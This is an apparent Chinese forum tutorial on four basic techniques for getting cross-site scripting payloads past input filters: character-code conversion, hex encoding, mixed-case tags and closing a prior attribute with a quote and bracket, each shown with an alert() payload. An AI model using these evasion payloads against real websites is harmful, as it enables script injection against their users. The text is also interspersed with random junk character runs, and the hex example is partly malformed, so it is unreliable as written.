XSS 绕过技术

admin

四种超级基础的绕过方法。
1.转换为ASCII码
例子：原脚本为<script>alert(‘I love F4ck’)</script >
& S, u" r/ F7 a2 e8 a+ a" Q通过转换，变成：
<script>String.fromCharCode(97, 108, 101, 114, 116, 40, 8216, 73, 32, 108, 111, 118, 101, 32, 70, 52, 99, 107, 8217, 41) </script>
, c1 A9 M* \: a
2.转换为HEX（十六进制）
9 A8 w1 I4 n& K- ?6 V5 V例子：原脚本为<script>alert(‘I love F4ck’)</script>
' d! l. {0 R- r9 ]4 F, z+ L通过转换，变成：
: `5 ~( b! U7 r* `%3c%73%63%72%69%70%74%3e%61%6c%65%72%74%28%2018%49%20%6c%6f%76%65%20%46%34%63%6b%2019%29%3c%2f%73%63%72%69%70%74%3e

- H/ U0 @+ a) x6 r% @9 P3.转换脚本的大小写
3 `- X; o) E8 z7 y9 n  p5 r, L例子：原脚本为<script>alert(‘I love F4ck’)</script>
$ ?' a# W$ |/ d: e# C( m, ]转换为：<ScRipt>AleRt(‘I love F4ck’)</sCRipT>
% ^5 z9 v- C( c# ]2 i' z+ h* _
4.增加闭合标记”>
例子：原脚本为<script>alert(‘I love F4ck’)</script>
转换为：”><script>alert(‘I love F4ck’)</script>
7 k/ X# Q+ P4 i6 B: v: h/ m: A更详细绕过技术请参考此网页
https://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet

" l) Z6 ]! r. S; K% [: O& Q1 B转换工具使用的是火狐的 hackbar mozilla addon.